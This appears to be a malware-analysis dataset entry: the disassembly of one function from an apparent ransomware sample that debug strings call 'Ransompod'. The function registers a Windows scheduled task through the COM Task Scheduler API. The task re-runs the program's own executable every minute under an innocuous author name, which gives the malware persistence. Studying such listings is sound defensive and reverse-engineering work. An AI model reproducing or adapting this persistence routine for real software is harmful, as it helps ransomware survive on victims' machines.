Function at 0x410510
Capabilities:
Print debug messages
Schedule task via itaskservice

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x465072
mov eax, dword fs:[0]
push eax
sub esp, 0xb0
push esi
push edi
mov eax, dword [0x63c00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.Ransompod:_Set_Task_Entry___Start
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x4c], 0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 0x1c]
push eax
push 0x466598
push 1
push 0
push 0x4665a8
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x4105cb
mov eax, 3
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x7c]
push eax
call esi
mov dword [ebp - 4], 0
lea eax, [ebp - 0xbc]
movups xmm0, xmmword [ebp - 0x7c]
push eax
movups xmmword [ebp - 0x8c], xmm0
call esi
movups xmm0, xmmword [ebp - 0xbc]
lea eax, [ebp - 0x5c]
push eax
movups xmmword [ebp - 0x9c], xmm0
call esi
movups xmm0, xmmword [ebp - 0x5c]
lea eax, [ebp - 0x6c]
push eax
movups xmmword [ebp - 0xac], xmm0
call esi
mov byte [ebp - 4], 3
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x8c]
mov ecx, dword [ebp - 0x1c]
mov eax, esp
sub esp, 0x10
mov edx, dword [ecx]
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x9c]
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0xac]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x6c]
push ecx
movups xmmword [eax], xmm0
call dword [edx + 0x28]
mov edi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, eax
lea eax, [ebp - 0x6c]
push eax
call edi
lea eax, [ebp - 0x5c]
push eax
call edi
lea eax, [ebp - 0xbc]
push eax
call edi
lea eax, [ebp - 0x7c]
mov dword [ebp - 4], 0xffffffff
push eax
call edi
test esi, esi
jns 0x4106aa
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0xc
call fcn.0044dd07
mov esi, eax
add esp, 4
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], 4
mov edi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
test esi, esi
je 0x4106eb
push 0x46d5c4
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x4110ea
jmp 0x4106ed
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x18], esi
test esi, esi
je 0x4110ea
mov dword [ebp - 4], 5
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
push edx
push dword [esi]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov dword [ebp - 0x2c], eax
or ecx, 0xffffffff
mov dword [ebp - 4], 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x410762
mov ecx, dword [esi]
test ecx, ecx
je 0x41073d
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x410754
push eax
call fcn.0044dfb9
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.0044df88
mov eax, dword [ebp - 0x2c]
add esp, 8
test eax, eax
jns 0x410785
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 5
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0xc
call fcn.0044dd07
mov esi, eax
add esp, 4
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], 6
test esi, esi
je 0x4107c0
push 0x46d5c8
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x4110f4
jmp 0x4107c2
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x18], esi
test esi, esi
je 0x4110ea
mov dword [ebp - 4], 7
mov eax, dword [ebp - 0x14]
push 0
push dword [esi]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x3c]
mov dword [ebp - 4], 0xffffffff
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x41082f
mov eax, dword [esi]
test eax, eax
je 0x41080d
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x410824
push eax
call fcn.0044dfb9
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.0044df88
add esp, 8
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x10]
push edx
push 0
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
test eax, eax
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
jns 0x41086a
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 6
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x30]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
test eax, eax
jns 0x4108a6
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 7
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x30]
push str.Kaipod_Homeland_Security_Company
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
test eax, eax
jns 0x4108e9
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x28]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
test eax, eax
jns 0x41092b
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 9
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x28]
push 0
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
mov eax, dword [ebp - 0x28]
push 0
push eax
mov ecx, dword [eax]
call dword [ecx + 0x40]
push 0xc
call fcn.0044dd07
mov esi, eax
add esp, 4
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], 8
test esi, esi
je 0x41097c
push str.PT0S
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x4110fe
jmp 0x41097e
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x18], esi
test esi, esi
je 0x4110ea
mov dword [ebp - 4], 9
mov eax, dword [ebp - 0x28]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x70]
mov dword [ebp - 4], 0xffffffff
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x4109e9
mov eax, dword [esi]
test eax, eax
je 0x4109c7
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x4109de
push eax
call fcn.0044dfb9
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.0044df88
add esp, 8
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x34]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
test eax, eax
jns 0x410a2b
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 0xb
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x38]
push edx
push 9
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
test eax, eax
jns 0x410a6f
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 0xc
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x20]
push edx
push 0x4665b8
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [eax]
jns 0x410abe
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 0xd
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call dword [ecx + 8]
push 0xc
call fcn.0044dd07
mov esi, eax
add esp, 4
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], 0xa
test esi, esi
je 0x410afc
push str.Trigger1
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x411108
jmp 0x410afe
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x18], esi
test esi, esi
je 0x4110ea
mov dword [ebp - 4], 0xb
mov eax, dword [ebp - 0x20]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov dword [ebp - 0x2c], eax
or ecx, 0xffffffff
mov dword [ebp - 4], 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x410b6f
mov ecx, dword [esi]
test ecx, ecx
je 0x410b4a
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x410b61
push eax
call fcn.0044dfb9
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.0044df88
mov eax, dword [ebp - 0x2c]
add esp, 8
test eax, eax
jns 0x410ba4
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 0xe
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0xc
call fcn.0044dd07
mov esi, eax
add esp, 4
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], 0xc
test esi, esi
je 0x410bdf
push str.PT1M
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x411112
jmp 0x410be1
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x18], esi
test esi, esi
je 0x4110ea
mov dword [ebp - 4], 0xd
mov eax, dword [ebp - 0x20]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov edi, eax
mov dword [ebp - 4], 0xffffffff
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x410c4e
mov ecx, dword [esi]
test ecx, ecx
je 0x410c2c
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x410c43
push eax
call fcn.0044dfb9
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.0044df88
add esp, 8
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
test edi, edi
js 0x410b7c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x44]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
test eax, eax
jns 0x410c98
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x44]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [eax]
jns 0x410cd8
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 0x11
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x3c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
test eax, eax
jns 0x410d14
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 0x12
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0x40]
push edx
push 0
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [eax]
jns 0x410d58
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 0x13
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call dword [ecx + 8]
mov eax, dword [ebp - 0x40]
lea edx, [ebp - 0x24]
push edx
push str.MbLk
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [eax]
jns 0x410da1
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 0x14
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call dword [ecx + 8]
push 0x3e8
call fcn.0045669c
mov edi, eax
add esp, 4
test edi, edi
jne 0x410de6
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea eax, [edi + 0x15]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0x3e8
push 0
push edi
call fcn.0044f970
add esp, 0xc
push 0x3e8
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
test eax, eax
jne 0x410e42
call fcn.004533f0
mov eax, dword [ebp - 0x24]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 0x16
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x2c]
call fcn.004026b0
mov dword [ebp - 4], 0xe
mov eax, dword [eax]
test eax, eax
je 0x410e5b
mov edx, dword [eax]
jmp 0x410e5d
xor edx, edx
mov eax, dword [ebp - 0x24]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov dword [ebp - 4], 0xffffffff
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 0x18], eax
test esi, esi
je 0x410ebb
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x410ebb
mov eax, dword [esi]
test eax, eax
je 0x410e96
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x410ead
push eax
call fcn.0044dfb9
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.0044df88
mov eax, dword [ebp - 0x18]
add esp, 8
test eax, eax
jns 0x410ef9
push edi
call fcn.004533f0
mov eax, dword [ebp - 0x24]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 0x17
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov eax, 8
push 0x46c118
mov word [ebp - 0x6c], ax
call esi
mov dword [ebp - 0x64], eax
test eax, eax
je 0x41111c
mov dword [ebp - 4], 0xf
lea eax, [ebp - 0x7c]
movups xmm0, xmmword [ebp - 0x6c]
push eax
movups xmmword [ebp - 0xac], xmm0
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov byte [ebp - 4], 0x10
mov eax, 8
movups xmm0, xmmword [ebp - 0x7c]
push str.S_1_5_11
mov word [ebp - 0x5c], ax
movups xmmword [ebp - 0x9c], xmm0
call esi
mov dword [ebp - 0x54], eax
test eax, eax
je 0x4110ea
mov byte [ebp - 4], 0x11
movups xmm0, xmmword [ebp - 0x5c]
push 0xc
movups xmmword [ebp - 0x8c], xmm0
call fcn.0044dd07
mov esi, eax
add esp, 4
mov dword [ebp - 0x48], esi
mov byte [ebp - 4], 0x12
test esi, esi
je 0x410fb4
push 0x46d5c8
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x411126
jmp 0x410fb6
xor esi, esi
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x48], esi
test esi, esi
je 0x4110ea
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x4c]
movups xmm0, xmmword [ebp - 0xac]
mov ecx, dword [ebp - 0x14]
push eax
sub esp, 0x10
mov eax, esp
mov edx, dword [ecx]
push 4
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x9c]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x8c]
push 6
push dword [ebp - 0x10]
movups xmmword [eax], xmm0
push dword [esi]
push ecx
call dword [edx + 0x44]
mov dword [ebp - 0x18], eax
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x41104f
mov ecx, dword [esi]
test ecx, ecx
je 0x41102d
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x411044
push eax
call fcn.0044dfb9
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.0044df88
add esp, 8
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x5c]
push eax
call esi
lea eax, [ebp - 0x7c]
push eax
call esi
lea eax, [ebp - 0x6c]
mov dword [ebp - 4], 0xffffffff
push eax
call esi
push edi
call fcn.004533f0
add esp, 4
cmp dword [ebp - 0x18], 0
jge 0x4110a5
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 0x18
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x4110b2
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x4110bf
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [ebp - 0x4c]
test ecx, ecx
je 0x4110cc
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
push str.Ransompod:_Set_Task_Entry___Exit
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0x8007000e
call fcn.0044eb40
push 0x8007000e
call fcn.0044eb40
push 0x8007000e
call fcn.0044eb40
push 0x8007000e
call fcn.0044eb40
push 0x8007000e
call fcn.0044eb40
push 0x8007000e
call fcn.0044eb40
push 0x8007000e
call fcn.0044eb40
int3